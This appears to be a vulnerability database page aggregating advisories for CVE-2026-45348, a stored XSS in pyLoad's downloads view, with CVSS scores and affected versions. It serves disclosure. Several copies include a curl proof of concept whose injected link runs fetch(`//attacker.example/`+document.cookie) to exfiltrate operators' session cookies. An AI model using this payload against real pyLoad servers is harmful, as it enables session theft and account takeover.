CVE-2026-45348
pyLoad: Stored XSS in Downloads view via unsanitized link URL in packages.js template literal
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers. This vulnerability is fixed in 0.5.0b3.dev100.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.7
pyLoad: Stored XSS in Downloads view via unsanitized link URL in packages.js template literal
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers. This vulnerability is fixed in 0.5.0b3.dev100.
- Record
CVE-2026-45348- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-32957
8.7
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers. This vulnerability is fixed in 0.5.0b3.dev100.
- Record
EUVD-2026-32957- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-fcjq-435v-jx94
8.7
pyLoad is vulnerable to stored XSS in Downloads view via unsanitized link URL in packages.js template literal
Summary
The packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers.
Details
Sink: src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188:
const html = `
<span class='child_status'>
<span style='margin-right: 2px;color: #337ab7;' class='${link.icon}'></span>
</span>
<span style='font-size: 16px; font-weight: bold;'>
<a onclick='return false' href='${link.url}'>${link.name}</a>
</span><br/>
<div class='child_secrow' ...>
<span class='child_status' ...>${link.statusmsg}</span> ${link.error}
<span class='child_status' ...>${link.format_size}</span>
<span class='child_status' ...> ${link.plugin}</span>...
</div>`;
const div = document.createElement("div");
$(div).attr("id", `file_${link.id}`);
$(div).css("padding-left", "30px");
$(div).css("cursor", "grab");
$(div).addClass("child");
$(div).html(html);
link.url flows in from /api/get_package_data, which returns the URL exactly as stored. Seven other fields on the same element (link.name, link.statusmsg, link.error, link.format_size, link.plugin, link.icon, link.id) share the same unescaped injection surface.
Source: src/pyload/core/api/__init__.py:541-600 (add_package) and the /api/add_package JSON route store the attacker-supplied links list without HTML escaping. The add_package URL sanitizer only strips http://, https://, ../, ..\\, :, and / from the folder name, not the link URL itself.
Mitigation gap: src/pyload/webui/app/__init__.py:63-72 sets security headers but has no Content-Security-Policy header. The only script-related header is X-XSS-Protection, which is a no-op on modern browsers.
Proof of Concept
Actor: Alice (authenticated user with Perms.ADD). Reproduces against pyload 0.5.0-dev at f081a16.
TARGET="http://<pyload-host>:<port>"
# Alice logs in.
CSRF=$(curl -sS -c /tmp/alice.jar "$TARGET/login" | grep -oP 'name="csrf_token" value="\K[^"]+')
curl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST "$TARGET/login" \
-d "csrf_token=$CSRF&do=login&username=alice&password=alice123" -o /dev/null
API_CSRF=$(curl -sS -b /tmp/alice.jar "$TARGET/" | grep -oP 'name="csrf-token" content="\K[^"]+')
# Alice creates a package whose link URL breaks out of the href attribute
# and installs an onmouseover payload.
curl -sS -b /tmp/alice.jar -X POST "$TARGET/api/add_package" \
-H "X-CSRFToken: $API_CSRF" -H "Content-Type: application/json" \
-d $'{"name":"xss-pkg","links":["http://x\' onmouseover=\'fetch(`//attacker.example/`+document.cookie)"]}'
The package lands in the collector (the default destination). Alice can also pass "dest":1 to place it in the queue instead. Both /collector and /queue render the same packages.html template, which loads packages.js.
When any user (including the admin pyload) opens /collector or /queue and hovers the injected file row, the browser parses the anchor as:
<a onclick='return false' href='http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)'>http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)</a>
The onmouseover handler fires on hover and exfiltrates the session cookie. A javascript: URL in the href triggers on click without hover.
Impact
Any user who can reach /api/add_package (which covers the Perms.ADD role, the common…
- Record
GHSA-fcjq-435v-jx94- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
8.7
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers. This vulnerability is fixed in 0.5.0b3.dev100.
- Record
CVE-2026-45348- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-fcjq-435v-jx94
8.7
pyLoad is vulnerable to stored XSS in Downloads view via unsanitized link URL in packages.js template literal
Summary
The packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers.
Details
Sink: src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188:
const html = `
<span class='child_status'>
<span style='margin-right: 2px;color: #337ab7;' class='${link.icon}'></span>
</span>
<span style='font-size: 16px; font-weight: bold;'>
<a onclick='return false' href='${link.url}'>${link.name}</a>
</span><br/>
<div class='child_secrow' ...>
<span class='child_status' ...>${link.statusmsg}</span> ${link.error}
<span class='child_status' ...>${link.format_size}</span>
<span class='child_status' ...> ${link.plugin}</span>...
</div>`;
const div = document.createElement("div");
$(div).attr("id", `file_${link.id}`);
$(div).css("padding-left", "30px");
$(div).css("cursor", "grab");
$(div).addClass("child");
$(div).html(html);
link.url flows in from /api/get_package_data, which returns the URL exactly as stored. Seven other fields on the same element (link.name, link.statusmsg, link.error, link.format_size, link.plugin, link.icon, link.id) share the same unescaped injection surface.
Source: src/pyload/core/api/__init__.py:541-600 (add_package) and the /api/add_package JSON route store the attacker-supplied links list without HTML escaping. The add_package URL sanitizer only strips http://, https://, ../, ..\\, :, and / from the folder name, not the link URL itself.
Mitigation gap: src/pyload/webui/app/__init__.py:63-72 sets security headers but has no Content-Security-Policy header. The only script-related header is X-XSS-Protection, which is a no-op on modern browsers.
Proof of Concept
Actor: Alice (authenticated user with Perms.ADD). Reproduces against pyload 0.5.0-dev at f081a16.
TARGET="http://<pyload-host>:<port>"
# Alice logs in.
CSRF=$(curl -sS -c /tmp/alice.jar "$TARGET/login" | grep -oP 'name="csrf_token" value="\K[^"]+')
curl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST "$TARGET/login" \
-d "csrf_token=$CSRF&do=login&username=alice&password=alice123" -o /dev/null
API_CSRF=$(curl -sS -b /tmp/alice.jar "$TARGET/" | grep -oP 'name="csrf-token" content="\K[^"]+')
# Alice creates a package whose link URL breaks out of the href attribute
# and installs an onmouseover payload.
curl -sS -b /tmp/alice.jar -X POST "$TARGET/api/add_package" \
-H "X-CSRFToken: $API_CSRF" -H "Content-Type: application/json" \
-d $'{"name":"xss-pkg","links":["http://x\' onmouseover=\'fetch(`//attacker.example/`+document.cookie)"]}'
The package lands in the collector (the default destination). Alice can also pass "dest":1 to place it in the queue instead. Both /collector and /queue render the same packages.html template, which loads packages.js.
When any user (including the admin pyload) opens /collector or /queue and hovers the injected file row, the browser parses the anchor as:
<a onclick='return false' href='http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)'>http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)</a>
The onmouseover handler fires on hover and exfiltrates the session cookie. A javascript: URL in the href triggers on click without hover.
Impact
Any user who can reach /api/add_package (which covers the Perms.ADD role, the common…
- Record
GHSA-fcjq-435v-jx94- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVPYSEC-2026-2994
8.7
pyLoad is vulnerable to stored XSS in Downloads view via unsanitized link URL in packages.js template literal
Summary
The packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers.
Details
Sink: src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188:
const html = `
<span class='child_status'>
<span style='margin-right: 2px;color: #337ab7;' class='${link.icon}'></span>
</span>
<span style='font-size: 16px; font-weight: bold;'>
<a onclick='return false' href='${link.url}'>${link.name}</a>
</span><br/>
<div class='child_secrow' ...>
<span class='child_status' ...>${link.statusmsg}</span> ${link.error}
<span class='child_status' ...>${link.format_size}</span>
<span class='child_status' ...> ${link.plugin}</span>...
</div>`;
const div = document.createElement("div");
$(div).attr("id", `file_${link.id}`);
$(div).css("padding-left", "30px");
$(div).css("cursor", "grab");
$(div).addClass("child");
$(div).html(html);
link.url flows in from /api/get_package_data, which returns the URL exactly as stored. Seven other fields on the same element (link.name, link.statusmsg, link.error, link.format_size, link.plugin, link.icon, link.id) share the same unescaped injection surface.
Source: src/pyload/core/api/__init__.py:541-600 (add_package) and the /api/add_package JSON route store the attacker-supplied links list without HTML escaping. The add_package URL sanitizer only strips http://, https://, ../, ..\\, :, and / from the folder name, not the link URL itself.
Mitigation gap: src/pyload/webui/app/__init__.py:63-72 sets security headers but has no Content-Security-Policy header. The only script-related header is X-XSS-Protection, which is a no-op on modern browsers.
Proof of Concept
Actor: Alice (authenticated user with Perms.ADD). Reproduces against pyload 0.5.0-dev at f081a16.
TARGET="http://<pyload-host>:<port>"
# Alice logs in.
CSRF=$(curl -sS -c /tmp/alice.jar "$TARGET/login" | grep -oP 'name="csrf_token" value="\K[^"]+')
curl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST "$TARGET/login" \
-d "csrf_token=$CSRF&do=login&username=alice&password=alice123" -o /dev/null
API_CSRF=$(curl -sS -b /tmp/alice.jar "$TARGET/" | grep -oP 'name="csrf-token" content="\K[^"]+')
# Alice creates a package whose link URL breaks out of the href attribute
# and installs an onmouseover payload.
curl -sS -b /tmp/alice.jar -X POST "$TARGET/api/add_package" \
-H "X-CSRFToken: $API_CSRF" -H "Content-Type: application/json" \
-d $'{"name":"xss-pkg","links":["http://x\' onmouseover=\'fetch(`//attacker.example/`+document.cookie)"]}'
The package lands in the collector (the default destination). Alice can also pass "dest":1 to place it in the queue instead. Both /collector and /queue render the same packages.html template, which loads packages.js.
When any user (including the admin pyload) opens /collector or /queue and hovers the injected file row, the browser parses the anchor as:
<a onclick='return false' href='http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)'>http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)</a>
The onmouseover handler fires on hover and exfiltrates the session cookie. A javascript: URL in the href triggers on click without hover.
Impact
Any user who can reach /api/add_package (which covers the Perms.ADD role, the common…
- Record
PYSEC-2026-2994- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pyload-ngPyPI |
through 0.5.0b3.dev99 | None known |
pyload-ngPyPI |
through 0.5.0b3.dev99, plus listed versions 0.5.0a5.dev5280.5.0a5.dev5320.5.0a5.dev5350.5.0a5.dev5360.5.0a5.dev537 Show 45 moreShow less0.5.0a5.dev5390.5.0a5.dev5400.5.0a5.dev5450.5.0a5.dev5620.5.0a5.dev5640.5.0a5.dev5650.5.0a6.dev5700.5.0a6.dev5780.5.0a6.dev5870.5.0a7.dev5960.5.0a8.dev6020.5.0a9.dev6150.5.0a9.dev6290.5.0a9.dev6320.5.0a9.dev6410.5.0a9.dev6430.5.0a9.dev6550.5.0a9.dev8060.5.0b1.dev10.5.0b1.dev20.5.0b1.dev30.5.0b1.dev40.5.0b1.dev50.5.0b2.dev100.5.0b2.dev110.5.0b2.dev120.5.0b2.dev90.5.0b3.dev130.5.0b3.dev140.5.0b3.dev170.5.0b3.dev180.5.0b3.dev190.5.0b3.dev200.5.0b3.dev210.5.0b3.dev220.5.0b3.dev240.5.0b3.dev260.5.0b3.dev270.5.0b3.dev280.5.0b3.dev290.5.0b3.dev300.5.0b3.dev310.5.0b3.dev320.5.0b3.dev330.5.0b3.dev34 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-45348 is a high vulnerability (CVSS 8.7) in Pyload, published May 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.20%, the 9th percentile. No source names a fixed version.
References
Left out here: 53 versions and the rest of 3 source descriptions. The JSON record has them.